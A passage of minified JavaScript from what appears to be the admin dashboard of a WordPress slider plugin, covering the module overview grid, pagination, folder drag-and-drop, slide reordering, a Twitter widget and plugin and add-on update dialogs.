class="material-icons">burst_mode</i>'+sliderLibrary.sliders[RVS.F.getOVSliderIndex(sliderLibrary.selectedSlider)].title+'</div><i class="rsl_breadcrumb_div material-icons">keyboard_arrow_right</i>'),r+='<div id="rsl_bread_selected" class="rsl_breadcrumb"></div>',r+="</div>",i.append(r)}sliderLibrary.inSlideMode,-1!=sliderLibrary.selectedFolder||sliderLibrary.inSlideMode?sliderLibrary.backOneLevel.appendTo(i):sliderLibrary.backOneLevel.detach();var l=0;if(!0!==sliderLibrary.inSlideMode){for(var o in sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(o)){var n=sliderLibrary.sliders[o];void 0===sliderLibrary.pages||jQuery.inArray(n.id,sliderLibrary.pages[sliderLibrary.selectedPage-1])>=0?(l++,void 0!==n.ref&&n.folder&&n.ref.remove(),0===n.slide_id&&!0===n.folder&&(n.slide_id=Math.round(1e8*Math.random())),n.ref=void 0===n.ref||n.folder?buildOVElement(n):n.ref,e.noanimation||tpGS.gsap.fromTo(n.ref,.4,{autoAlpha:0,scale:.8,transformOrigin:"50% 50%",force3D:!0},{scale:1,autoAlpha:1,ease:"power3.inOut",delay:.02*l}),n.ref.appendTo(i),doOVDraggable(n.ref)):void 0!==n.ref&&n.ref.detach()}}else{i.find(".rs_library_element").detach(),tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"});var c=1;for(var o in sliderLibrary.slidesOrder[sliderLibrary.selectedSlider]){if(void 0!==(a=sliderLibrary.slidesOrder[sliderLibrary.selectedSlider][o])&&sliderLibrary.slides[sliderLibrary.selectedSlider].hasOwnProperty(a)){n=sliderLibrary.slides[sliderLibrary.selectedSlider][a];l++;var u=getSliderObjFromList(sliderLibrary.selectedSlider);n.ref=void 0===n.ref?buildOVElement({premium:void 0!==u?u.premium:void 0,order:c,title:n.title,bg:n.customAdminThumbSrc,id:sliderLibrary.selectedSlider,slide_id:n.id,type:"slide",state:n.state}):n.ref,n.ref.appendTo(i),c++,e.noanimation||tpGS.gsap.fromTo(n.ref,.4,{autoAlpha:0,scale:.8,transformOrigin:"50% 50%",force3D:!0},{scale:1,autoAlpha:1,ease:"power3.inOut",delay:.02*l})}}doOVSortable(i)}s()},getSliderObjFromList=function(e){var i;for(var r in sliderLibrary.sliders)void 0===i&&sliderLibrary.sliders.hasOwnProperty(r)&&""+sliderLibrary.sliders[r].id==""+e&&(i=sliderLibrary.sliders[r]);return i},buildOVElement=function(e,i){var r=e.folder?"folder_library_element":"",t=jQuery('<div class="image_container_underlay"></div>'),s=e.premium?'<div class="rs_lib_premium_wrap"><div class="rs_lib_premium_lila">'+RVS_LANG.premium+'</div><div class="rs_lib_premium_red"><i class="material-icons">visibility_off</i>'+RVS_LANG.premium+'</div><div class="rs_lib_premium_red_hover"><i class="material-icons">visibility_off</i>'+RVS_LANG.premiumunlock+"</div></div>":"";if(obj=i?jQuery('<div data-itemtype="'+e.type+'" data-sliderid="'+e.id+'" data-slideid="'+e.slide_id+'" class="folder_in_list rs_library_element '+r+'">'+s+'<div class="rsle_footer"><input class="title_container" value="'+e.title+'""><i class="show_rsle material-icons">keyboard_arrow_down</i></div></div>'):jQuery('<div data-itemtype="'+e.type+'" data-sliderid="'+e.id+'" id="slider_id_'+e.id+'" data-slideid="slide_id_'+e.slide_id+'" class="'+("unpublished"===e.state?"unpublished":"")+"  rs_library_element "+r+'">'+s+'<div class="rsle_footer">'+("slide"===e.type?'<div id="slide_order_number'+e.slide_id+'" class="slide_order_number">#'+e.order+"</div>":"")+'<div class="rs_library_el_next"></div><input data-id="'+e.id+'" data-slideid="'+e.slide_id+'" id="slider_title_'+e.slide_id+'" class="title_container '+("slide"===e.type?"slide_with_number":"")+'" value="'+e.title+'""><i class="material-icons iconofunpublished">visibility_off</i><i class="show_rsle material-icons">arrow_drop_down</i></div></div>'),obj.append(t),!i){var d='<div class="rsle_tbar">',a=e.folder?jQuery('<div class="link_to_slideadmin enter_into_folder" data-info="'+RVS_LANG.openFolder+'"  data-folderid="'+e.id+'"></div>'):jQuery('<div class="link_to_slideadmin '+("slide"!==e.type&&e.slide_ids.length>1?"pull_icon_left":"")+'" data-title="'+e.title+'" data-info="'+RVS_LANG.openInEditor+'"><div class="link_to_quickeditor" data-info="'+RVS_LANG.openQuickEditor+'"><i class="material-icons">text_format</i></div><div class="link_to_quickstyleeditor" data-info="'+RVS_LANG.openQuickStyleEditor+'"><i class="material-icons">style</i></div><a class="link_to_slideadmin_a" data-title="'+e.title+'" data-info="'+RVS_LANG.openInEditor+'" href="'+RVS.ENV.admin_url+"&view=slide&id="+e.slide_id+'"><i class="material-icons">edit</i></a></div>'),l=e.folder||"slide"===e.type||e.slide_ids.length<2?"":jQuery('<div class="link_to_slides_overview" data-info="'+RVS_LANG.showSlides+'" data-title="'+e.title+'" data-id="'+e.id+'"><i class="material-icons">burst_mode</i></div>');if("slide"!==e.type&&(d+='<div class="rsle_tool embedslider" data-id="'+e.id+'"><i class="material-icons">add_to_queue</i><span class="rsle_ttitle">'+RVS_LANG.embed+"</span></div>"),"slide"!==e.type&&(d+='<div class="rsle_tool exportslider" data-id="'+e.id+'" ><i class="material-icons">file_download</i><span class="rsle_ttitle">'+RVS_LANG.export+"</span></div>"),"slide"!==e.type&&(d+='<div class="rsle_tool exporthtmlslider" data-id="'+e.id+'" ><i class="material-icons">code</i><span class="rsle_ttitle">'+RVS_LANG.exporthtml+"</span></div>"),"slide"!==e.type&&(d+='<div class="rsle_tool duplicateslider" data-id="'+e.id+'" ><i class="material-icons">content_copy</i><span class="rsle_ttitle">'+RVS_LANG.duplicate+"</span></div>"),"slide"!==e.type&&(d+='<div class="rsle_tool previewslider" data-title="'+e.title+'" data-id="'+e.id+'" ><i class="material-icons">search</i><span class="rsle_ttitle">'+RVS_LANG.preview+"</span></div>"),"slide"!==e.type&&(d+='<div class="rsle_tool tagsslider" data-id="'+e.id+'" ><i class="material-icons">local_offer</i><span class="rsle_ttitle">'+RVS_LANG.tags+"</span></div>"),d+='<div class="rsle_tool renameslider" data-id="'+e.id+'" ><i class="material-icons">title</i><span class="rsle_ttitle">'+RVS_LANG.rename+"</span></div>","slide"===e.type&&(d+='<div class="rsle_tool publishslide" data-id="'+e.id+'" data-slideid="'+e.slide_id+'" ><i class="material-icons">visibility</i><span class="rsle_ttitle">'+RVS_LANG.publish+"</span></div>"),"slide"===e.type&&(d+='<div class="rsle_tool unpublishslide" data-id="'+e.id+'" data-slideid="'+e.slide_id+'"><i class="material-icons">visibility_off</i><span class="rsle_ttitle">'+RVS_LANG.unpublish+"</span></div>"),"slide"===e.type&&(d+='<div class="rsle_tool duplicateslide" data-id="'+e.id+'" data-slideid="'+e.slide_id+'"><i class="material-icons">content_copy</i><span class="rsle_ttitle">'+RVS_LANG.duplicate+"</span></div>"),"slide"===e.type&&(d+='<div class="rsle_tool deleteslider" data-id="'+e.id+'" data-slideid="'+e.slide_id+'"><i class="material-icons">delete</i><span class="rsle_ttitle">'+RVS_LANG.delete+"</span></div>"),e.folder||(d+='<div class="rsle_tool adminthumb" data-id="'+e.id+'" data-slideid="'+e.slide_id+'" ><i class="material-icons">photo</i><span class="rsle_ttitle">'+RVS_LANG.thumbnail+"</span></div>"),"slide"===e.type||e.folder||(d+='<div class="rsle_tool optimizeslider" data-id="'+e.id+'" ><i class="material-icons">flash_on</i><span class="rsle_ttitle">'+RVS_LANG.optimize+"</span></div>"),"slide"!==e.type&&(d+='<div class="rsle_tool deleteslider" data-id="'+e.id+'" ><i class="material-icons">delete</i><span class="rsle_ttitle">'+RVS_LANG.delete+"</span></div>"),"slide"!==e.type){for(var o in d+='<div class="rsle_tool_tagwrap"><select data-id="'+e.id+'" id="tags_'+e.id+'" class="elementtags searchbox" multiple="multiple" data-theme="blue">',sliderLibrary.filters.tags){if(sliderLibrary.filters.tags.hasOwnProperty(o))d+="<option "+(jQuery.inArray(sliderLibrary.filters.tags[o].toLowerCase(),e.tags)>=0?' selected="selected" ':"")+'value="'+RVS.F.sanitize_input(sliderLibrary.filters.tags[o].toLowerCase())+'">'+RVS.F.sanitize_input(sliderLibrary.filters.tags[o])+"</option>"}d+="</select></div></div>"}d=jQuery(d),obj.append(a),e.folder||obj.append(l),obj.append(d),d.find(".elementtags").ddTP({tags:!0,tokenSeparators:[","," "]}),d.find(".elementfolders").ddTP(),e.folder||obj.append('<div class="rsle_move_and_edit" data-info="'+RVS_LANG.moveToFolder+'"></div>')}if(e.children&&e.children.length>0){var n=[],c=!1;for(var o in e.children)if(e.children.hasOwnProperty(o)){for(var u in c=!1,sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(u)&&sliderLibrary.sliders[u].id==e.children[o]){c=!0;break}c&&n.push(e.children[o])}e.children=n}if(e.folder)if(-1!=e.id&&"root"!=e.quicktype||(obj.addClass("rootlevel_wrap"),t.append('<div class="rootfolder"><i class="material-icons">apps</i><span class="nsb_title">'+RVS_LANG.root+"</span></div>")),"parent"===e.quicktype)obj.addClass("rootlevel_wrap"),t.append('<div class="rootfolder"><i class="material-icons">reply</i><span class="nsb_title">'+RVS_LANG.parent+"</span></div>"),obj.append(jQuery('<div class="rsle_folder"><i class="material-icons">folder_open</i></div>'));else{obj.append(jQuery('<div class="rsle_folder"><i class="material-icons">folder_open</i></div>'));for(o=1;o<=4;o++){var p=jQuery('<div class="folder_img_placeholder folder_img_'+o+'"></div>');if(void 0!==e.children&&e.children.length>=o){var _=findRekursiveChildImage(RVS.F.getOVSliderIndex(e.children[e.children.length-o]));-1!==_&&!1!==_&&RVS.F.setObjBg(sliderLibrary.sliders[_],p)}t.append(p)}}else{var S=jQuery('<div class="image_container"></div>');obj.append(S),RVS.F.setObjBg(e,S)}return obj},findRekursiveChildImage=function(e,i){if(i=void 0!==i&&i,!0===sliderLibrary.sliders[e].folder&&!0!==i){var r=sliderLibrary.sliders[e].children.length-1;for(var t in sliderLibrary.sliders[e].children)if(!1===i){var s=RVS.F.getOVSliderIndex(sliderLibrary.sliders[e].children[r-t]);void 0!==sliderLibrary.sliders[s]&&!0===sliderLibrary.sliders[s].folder?i=findRekursiveChildImage(s,i):void 0!==sliderLibrary.sliders[s]&&""!==sliderLibrary.sliders[s].bg&&(i=s)}}else void 0!==sliderLibrary.sliders[e]&&""!==sliderLibrary.sliders[e].bg&&(i=e);return i},buildOVPagination=function(e){if(sliderLibrary.inSlideMode)tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"});else{var i=Math.max(1,Math.floor((sliderLibrary.output.width()+30)/290)),r=i,t=RVS.F.getCookie("rs6_overview_pagination");if(sliderLibrary.maxAmountPerPage!==i){jQuery("#pagination_select_2").ddTP("destroy"),sliderLibrary.maxAmountPerPage=i;for(var s=0;s<=4;s++){var d=document.getElementById("page_per_page_"+s);d.value=r,d.selected=d.value===t,d.innerHTML=RVS_LANG.show+" "+r+" "+RVS_LANG.perpage,r*=2}jQuery("#pagination_select_2").ddTP()}sliderLibrary.inited=!0,sliderLibrary.sliders.length<=i?(sliderLibrary.output.find(".overview_header_footer").hide(),sliderLibrary.output.find(".overview_pagination").val("all")):sliderLibrary.output.find(".overview_header_footer").show(),sliderLibrary.selectedPage=e.keeppage&&jQuery(".page_button.global_library_pagination.selected").length>0?jQuery(".page_button.global_library_pagination.selected").data("page"):1;var a,l=sliderLibrary.output.find(".ov-pagination"),o=sliderLibrary.output.find(".overview_pagination")[0].value||4,n=0,c=sliderLibrary.filteredList.length;if(c=-1!=sliderLibrary.selectedFolder?c+Math.ceil(c/parseInt(o)):c,sliderLibrary.pageAmount="all"===o?1:Math.ceil(c/parseInt(o)),sliderLibrary.itemPerPage="all"===o?99999:parseInt(o),sliderLibrary.itemPerPage=-1!=sliderLibrary.selectedFolder?sliderLibrary.itemPerPage-1:sliderLibrary.itemPerPage,l[0].innerHTML="",sliderLibrary.selectedPage=sliderLibrary.selectedPage>sliderLibrary.pageAmount?sliderLibrary.pageAmount:sliderLibrary.selectedPage,sliderLibrary.pageAmount>1)for(s=1;s<=sliderLibrary.pageAmount;s++)a=s!==sliderLibrary.selectedPage?"":"selected",l[0].innerHTML+='<div data-page="'+s+'" class="'+a+' page_button global_library_pagination">'+s+"</div>",1===s?l[0].innerHTML+='<div data-page="-9999" class="page_button global_library_pagination">...</div>':s===sliderLibrary.pageAmount-1&&(l[0].innerHTML+='<div data-page="9999" class="page_button global_library_pagination">...</div>');for(var u in smartPagination(),sliderLibrary.pages=[],sliderLibrary.pages.push([]),sliderLibrary.filteredList)sliderLibrary.filteredList.hasOwnProperty(u)&&(sliderLibrary.pages[sliderLibrary.pages.length-1].push(sliderLibrary.filteredList[u]),++n===sliderLibrary.itemPerPage&&(n=0,sliderLibrary.pages.push([])))}},resetAllOVFilters=function(){sliderLibrary.selectedPage=1,jQuery("#sel_overview_sorting").val("datedesc").ddTP("change"),jQuery("#sel_overview_filtering").val("all").ddTP("change"),RVS.DOC.trigger("updateSlidersOverview",{val:"datedesc",eventparam:"#reset_sorting",ignoreRebuild:!0,ignoreCookie:!0}),RVS.DOC.trigger("updateSlidersOverview",{val:"all",eventparam:"#reset_filtering",ignoreCookie:!0})},smartPagination=function(){sliderLibrary.pageAmount=parseInt(sliderLibrary.pageAmount,0),sliderLibrary.selectedPage=parseInt(sliderLibrary.selectedPage,0),jQuery(".page_button.global_library_pagination").each(function(){var e=parseInt(this.dataset.page,0),i=!1;1!==e&&e!==sliderLibrary.pageAmount||(i=!0),sliderLibrary.selectedPage<4&&e>0&&e<5&&(i=!0),sliderLibrary.selectedPage>sliderLibrary.pageAmount-3&&e>sliderLibrary.pageAmount-4&&e<9999&&(i=!0),e<9999&&e>=sliderLibrary.selectedPage-1&&e<=sliderLibrary.selectedPage+1&&e>0&&(i=!0),(sliderLibrary.selectedPage>=4&&-9999===e||sliderLibrary.selectedPage<=sliderLibrary.pageAmount-3&&9999===e)&&(i=!0),sliderLibrary.pageAmount<8&&(i=9999!=e&&-9999!=e),this.style.display=i?"inline-block":"none"})},filterMatch=function(e){return e.filter===e.o.source||e.filter===e.o.type||e.filter===e.o.size||jQuery.inArray(e.filter,e.o.tags)>=0},getParentPath=function(e){var i=[],r=0;for(i.push(e);-1!==e&&r<1e4;){r++;var t=RVS.F.getOVSliderIndex(e);e=-1!==t&&void 0!==sliderLibrary.sliders[t]&&sliderLibrary.sliders[t].parent||-1,i.push(e)}return i},updateOVFilteredList=function(e){e=void 0===e?{force:!1,keeppage:!1,noanimation:!1,focusItem:!1}:e;var i=sliderLibrary.output.find(".overview_filterby")[0].value;switch(sliderLibrary.output.find(".overview_sortby")[0].value){case"datedesc":sliderLibrary.sliders.sort(function(e,i){return i.id-e.id});break;case"title":sliderLibrary.sliders.sort(function(e,i){return e.title.toUpperCase().localeCompare(i.title.toUpperCase())});break;case"titledesc":sliderLibrary.sliders.sort(function(e,i){return i.title.toUpperCase().localeCompare(e.title.toUpperCase())});break;default:sliderLibrary.sliders.sort(function(e,i){return e.id-i.id})}sliderLibrary.oldlist=sliderLibrary.filteredList,sliderLibrary.filteredList=[];var r=jQuery("#searchmodules").val().toLowerCase();for(var t in sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(t)){var s=sliderLibrary.sliders[t];s.parent=void 0===s.parent?-1:s.parent;var d=getParentPath(s.parent),a=r.length>2&&jQuery.inArray(sliderLibrary.selectedFolder,d)>=0&&(s.title.toLowerCase().indexOf(r)>=0||s.tags.toString().toLowerCase().indexOf(r)>=0)&&("all"==i||filterMatch({o:s,filter:i})),l=r.length<3&&"all"==i&&s.parent==sliderLibrary.selectedFolder,o=r.length<3&&filterMatch({o:s,filter:i})&&jQuery.inArray(sliderLibrary.selectedFolder,d)>=0;(a||l||o)&&sliderLibrary.filteredList.push(s.id)}sliderLibrary.filteredList.length<1&&-1===sliderLibrary.selectedFolder&&0===r.length?tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"}):tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:1,opacity:1,ease:"power3.inOut"}),sliderLibrary.isSlideMode&&tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"}),(e.force||JSON.stringify(sliderLibrary.oldlist)!==JSON.stringify(sliderLibrary.filteredList))&&(buildOVPagination({keeppage:e.keeppage,focusItem:e.focusitem}),drawOVOverview({noanimation:e.noanimation,focusItem:e.focusItem}))},updateParentAttributes=function(){for(var e in sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(e)&&sliderLibrary.sliders[e].folder)for(var i in sliderLibrary.sliders[e].children)if(sliderLibrary.sliders[e].children.hasOwnProperty(i)){var r=RVS.F.getOVSliderIndex(sliderLibrary.sliders[e].children[i]);-1!==r&&(sliderLibrary.sliders[r].parent=sliderLibrary.sliders[e].id)}},buildModuleFilters=function(){var e={folders:[],tags:[],types:[],sources:[],sizes:[]};for(var i in e.folders.push({id:-1,title:"Root"}),sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(i)){var r=sliderLibrary.sliders[i];e.tags=l(e.tags,r.tags),e.types=l(e.types,r.type),e.sources=l(e.sources,r.source),e.sizes=l(e.sizes,r.size),r.folder&&e.folders.push({id:r.id})}var t=sliderLibrary.output.find(".overview_filterby"),s=t.val();return t.find(".dynamicadded").remove(),o({select:t,array:e.tags,group:"Tags",old:s,sanitize:!0}),o({select:t,array:e.types,group:"Types",old:s}),o({select:t,array:e.sources,group:"Sources",old:s}),o({select:t,array:e.size,group:"Sizes",old:s}),t.ddTP({placeholder:"Select From List"}),e},drawFolderListSideBar=function(e){sliderLibrary.filters=buildModuleFilters(),window.showFolderOverview=tpGS.gsap.timeline(),sliderLibrary.sfw[0].innerHTML="",window.showFolderOverview.add(tpGS.gsap.fromTo(sliderLibrary.sfw,.6,{display:"none",x:-400},{display:"block",x:0,ease:"power3.out"}),.1),window.showFolderOverview.add(tpGS.gsap.fromTo(sliderLibrary.sfwu,.3,{display:"none",autoAlpha:0},{display:"block",autoAlpha:.5,ease:"power3.out"}),0);var i=void 0===e?void 0:sliderLibrary.sliders[RVS.F.getOVSliderIndex(e)],r="first_fwlt";if(-1!==sliderLibrary.selectedFolder&&(sliderLibrary.sfw.append('<div class="folder_wrap_level_title '+r+'">'+RVS_LANG.toplevels+"</div>"),buildDroppableList(buildOVElement({id:-1,title:"Root",quicktype:"root",folder:!0,children:[]},!0),0),r=""),void 0!==i&&-1!==i.parent&&-1!==i.parent){var t=sliderLibrary.sliders[RVS.F.getOVSliderIndex(i.parent)];void 0!==t&&-1!==t.parent&&buildDroppableList(buildOVElement({id:t.parent,title:"Parent",quicktype:"parent",folder:!0,children:[]},!0),0)}var s=!1;for(var d in sliderLibrary.filters.folders)if(sliderLibrary.filters.folders.hasOwnProperty(d)){var a=RVS.F.getOVSliderIndex(sliderLibrary.filters.folders[d].id);void 0!==i&&void 0!==sliderLibrary.sliders[a]&&i.parent!==sliderLibrary.sliders[a].parent||-1!==a&&(!1===s&&(sliderLibrary.sfw.append('<div class="folder_wrap_level_title '+r+'">'+RVS_LANG.siblings+"</div>"),s=!0,r=""),buildDroppableList(buildOVElement({id:sliderLibrary.filters.folders[d].id,title:sliderLibrary.sliders[a].title,folder:!0,children:sliderLibrary.sliders[a].children},!0),d))}for(var d in s=!1,sliderLibrary.filters.folders)if(sliderLibrary.filters.folders.hasOwnProperty(d)){a=RVS.F.getOVSliderIndex(sliderLibrary.filters.folders[d].id);void 0!==i&&void 0!==sliderLibrary.sliders[a]&&i.parent===sliderLibrary.sliders[a].parent||void 0!==i&&i.parent===sliderLibrary.filters.folders[d].id||-1!==a&&(!1===s&&(sliderLibrary.sfw.append('<div class="folder_wrap_level_title '+r+'">'+RVS_LANG.otherfolders+"</div>"),s=!0,r=""),buildDroppableList(buildOVElement({id:sliderLibrary.filters.folders[d].id,title:sliderLibrary.sliders[a].title,folder:!0,children:sliderLibrary.sliders[a].children},!0),d))}sliderLibrary.sfw.RSScroll({wheelPropagation:!1})},buildDroppableList=function(e,i){window.showFolderOverview.add(tpGS.gsap.from(e,.2,{x:"-150%",ease:"power3.out"}),.2+.04*i),doOVDroppable(e),sliderLibrary.sfw.append(e)},doOVDroppable=function(e){e.droppable({drop:function(i,r){var t=this.dataset.sliderid,s=r.draggable[0].dataset.sliderid,d=RVS.F.getOVSliderIndex(t),l=RVS.F.getOVSliderIndex(s);if(t!==s){if(-1!=sliderLibrary.sliders[l].parent){var o=RVS.F.getOVSliderIndex(sliderLibrary.sliders[l].parent);sliderLibrary.sliders[o].children.splice(jQuery.inArray(s,sliderLibrary.sliders[o].children),1),RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.sliders[o].id,children:sliderLibrary.sliders[o].children},function(e){})}-1!=e&&-1!==d&&(sliderLibrary.sliders[d].children=void 0===sliderLibrary.sliders[d].children||0===sliderLibrary.sliders[d].children.length?[]:sliderLibrary.sliders[d].children,sliderLibrary.sliders[d].children.push(s),RVS.F.ajaxRequest("save_slider_folder",{id:t,children:sliderLibrary.sliders[d].children},function(e){})),sliderLibrary.filters=buildModuleFilters(),sliderLibrary.sliders[l].parent=t,a({keepOverlay:!1}),updateOVFilteredList({force:!0,keeppage:!0,noanimation:!1})}return window.showFolderOverview.reverse(),window.droppedIntoFolder=!0,!1}})},doOVDraggable=function(e){e.data("draggable")&&e.draggable("destroy"),e.draggable({distance:20,helper:"clone",appendTo:"body",revert:"invalid",start:function(e,i){window.droppedIntoFolder=!1,drawFolderListSideBar(i.helper[0].dataset.sliderid)},stop:function(e,i){!1===window.droppedIntoFolder&&(window.showFolderOverview.reverse(),a({keepOverlay:!1}),updateOVFilteredList({force:!0,keeppage:!0,noanimation:!1}))}})},doOVSortable=function(e){e.data("sortable")&&e.sortable("destroy"),e.sortable({items:".rs_library_element",start:function(){a({keepOverlay:!1}),RVS.S.OVslidesOldOrder=[],e.find(".rs_library_element").each(function(e){var i=(""+this.dataset.slideid).replace("slide_id_","");void 0!==i&&"undefined"!==i&&RVS.S.OVslidesOldOrder.push(i)})},stop:function(i,r){RVS.S.OVslidesNeworder=[],e.find(".rs_library_element").each(function(e){var i=(""+this.dataset.slideid).replace("slide_id_","");if(slide=sliderLibrary.slides[this.dataset.sliderid][i],slide.order=e+1,slide.ref.find(".slide_order_number").html("#"+(e+1)),RVS.S.OVslidesNeworder.push(i),0===e){var r=RVS.F.getOVSliderIndex(this.dataset.sliderid);sliderLibrary.sliders[r].bg.type=void 0===slide.bg?slide.customAdminThumbSrc.type:slide.bg.type,sliderLibrary.sliders[r].bg.src=void 0===slide.bg?slide.customAdminThumbSrc.src:slide.bg.src,sliderLibrary.sliders[r].bg.style=void 0===slide.bg?slide.customAdminThumbSrc.style:slide.bg.style,RVS.F.setObjBg(sliderLibrary.sliders[r],sliderLibrary.sliders[r].ref.find(".image_container"))}}),RVS.S.OVslidesOldOrder.toString()!==RVS.S.OVslidesNeworder.toString()&&RVS.F.ajaxRequest("update_slide_order",{slide_ids:RVS.S.OVslidesNeworder},function(e){})}})},initTwitter=function(e){var i,r=document.getElementsByTagName("script")[0];return(i=RVS.F.cE({t:"script"})).id=e,i.src="https://platform.twitter.com/widgets.js",r.parentNode.insertBefore(i,r),window.waitForTwitter=setInterval(function(){if(jQuery("#twitter_wrapper iframe").contents().find(".timeline-Widget").length>0){var e=jQuery("#twitter_wrapper iframe").contents();e.find(".timeline-Widget").css({backgroundColor:"transparent"}),e.find(".timeline-Body").css({borderColor:"#323438"}),e.find(".timeline-Tweet-text").css({fontSize:"14px",lineHeight:"22px"}),e.find(".timeline-Header").hide(),e.find(".timeline-TweetList-tweet").css({borderColor:"#323438",paddingTop:"20px"}),e.find(".timeline-Tweet--isRetweet").closest("li").remove(),e.find(".timeline-LoadMore").remove(),e.find(".TwitterCard-container").css({borderColor:"#323438"}),clearInterval(window.waitForTwitter)}},100),{}},updateSysChecks=function(){for(var e in window.rs_system)if(window.rs_system.hasOwnProperty(e)){var i=window.rs_system[e];"object"==typeof i&&1==i.good||!0===i||"1"===i?jQuery("#syscheck_"+e).removeClass("warning"):jQuery("#syscheck_"+e).addClass("warning")}},checkAddOnVersions=function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){var e="";for(var i in RVS.ENV.addOns_to_update=void 0===RVS.ENV.addOns_to_update?{}:RVS.ENV.addOns_to_update,RVS.ENV.addOns_to_updateArray=[],window.addOnUpdateCounter=0,RVS.ENV.addOns_to_update)RVS.ENV.addOns_to_updateArray.push(i),e+='<div id="need_update_'+i+'" class="addonlist_to_update">'+RVS.ENV.addOns_to_update[i].title+" "+RVS_LANG.from+" "+RVS.ENV.addOns_to_update[i].old+" "+RVS_LANG.to+" "+RVS.ENV.addOns_to_update[i].new+'<div class="addonlist_to_update_single_status circle-loader"><div class="checkmark draw"></div></div></div>';""!==e&&RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"extension",title:RVS_LANG.addonsupdatetitle,maintext:RVS_LANG.addonsupdatemain,subtext:e,do:{icon:"check_circle",text:RVS_LANG.updateallnow,event:"updateAddonsNow",keepDialog:!0},cancel:{icon:"cancel",text:RVS_LANG.updatelater},swapbuttons:!0})}},updateNextRequiredAddon=function(){if(window.addOnUpdateCounter<RVS.ENV.addOns_to_updateArray.length){var e=RVS.ENV.addOns_to_updateArray[window.addOnUpdateCounter],i=RVS.ENV.addOns_to_update[e],r=jQuery("#need_update_"+e);r.find(".addonlist_to_update_single_status").addClass("inload"),RVS.F.ajaxRequest("activate_addon",{addon:e,update:!0},function(e){e.success?(r.find(".addonlist_to_update_single_status").removeClass("inload").addClass("load-complete"),i.updated=!0):r.find(".addonlist_to_update_single_status").removeClass("inload").addClass("load-complete").addClass("failure"),window.addOnUpdateCounter++,updateNextRequiredAddon()},!1)}else jQuery("#decmod_do_btn").html('<i id="decmod_do_icon" class="material-icons">done</i><span id="decmod_do_txt">'+RVS_LANG.updatedoneexist,NaN).show().off("click").on("click",function(){RVS.F.RSDialog.close(),RVS.F.RSDialog.close()})},initLocalListeners=function(){RVS.WIN.on("resize",function(){clearTimeout(window.resizedOverviewTimeOut),window.resizedOverviewTimeOut=setTimeout(function(){var e=Math.floor((sliderLibrary.output.width()+30)/290);e=e<1?1:e,sliderLibrary.maxAmountPerPage!==e&&updateOVFilteredList({force:!0,keeppage:!0,noanimation:!0})},10)}),RVS.DOC.on("updateAddonsNow",function(){updateNextRequiredAddon(),jQuery("#decmod_dont_btn").hide(),jQuery("#decmod_do_btn").hide()}),RVS.DOC.on("click",".rs_lib_premium_red_hover",function(){RVS.F.scrollToOvRegister()}),RVS.DOC.on("updateThePlugin",function(){wp.updates.maybeRequestFilesystemCredentials(),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.updatingplugin});var e={plugin:RVS.ENV.slug_path,slug:RVS.ENV.slug,checkforupdates:!0,success:function(e){RVS.F.showWaitAMinute({fadeOut:0}),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updateplugin,maintext:"",subtext:RVS_LANG.updatepluginsuccesssubtext+" <strong>"+e.newVersion+"</strong>",do:{icon:"check_circle",text:RVS_LANG.reloadpage,event:"reloadpagenow"}})},error:function(e){RVS.F.showWaitAMinute({fadeOut:0});var i="<br>";for(var r in e.debug)i+="<span style='white-space: nowrap;overflow: hidden;width: 400px;margin-bottom: 5px;font-size: 12px;display: block;'>- "+e.debug[r]+"</span>";i+="<span style='white-space: nowrap;overflow: hidden;width: 400px;margin-bottom: 5px;font-size: 12px;display: block;'>"+RVS_LANG.tryagainlater+"</span>",RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updatepluginfailed,maintext:RVS_LANG.updatepluginfailure,subtext:(void 0!==e&&void 0!==e.errorMessage&&e.errorMessage.indexOf("PCLZIP_ERR_BAD_FORMAT")>=0?RVS_LANG.licenseissue:e.errorMessage)+"<br>"+i,do:{icon:"error",text:RVS_LANG.leave,event:""}})}};wp.updates.ajax("update-plugin",e)}),RVS.DOC.on("click","#updateplugin, #updateplugin_sc",function(){if(!(!0!==RVS.ENV.allow_update&&RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)<=0))if(this.className.indexOf("halfdisabled")>=0){s();var e={val:window.scroll_top};tpGS.gsap.to(e,.6,{val:window.ov_scroll_targets[2].top-200,onUpdate:function(){RVS.WIN.scrollTop(e.val)},ease:"power3.out"}),s()}else RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updateplugin,maintext:RVS_LANG.areyousureupdateplugin,subtext:RVS_LANG.updatingtakes,do:{icon:"check_circle",text:RVS_LANG.updatenow,event:"updateThePlugin"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})}),RVS.F.clearSlidesOverview=function(e){if(void 0!==sliderLibrary.slides[e]){for(var i in sliderLibrary.slides[e])sliderLibrary.slides[e].hasOwnProperty(i)&&sliderLibrary.slides[e][i].ref.remove();sliderLibrary.slides[e]=void 0}},RVS.F.buildSlidesOverview=function(e){sliderLibrary.selectedSlider=e,a({keepOverlay:!1});jQuery(".overview_elements");sliderLibrary.slides=void 0===sliderLibrary.slides?{}:sliderLibrary.slides,sliderLibrary.inSlideMode=!0,void 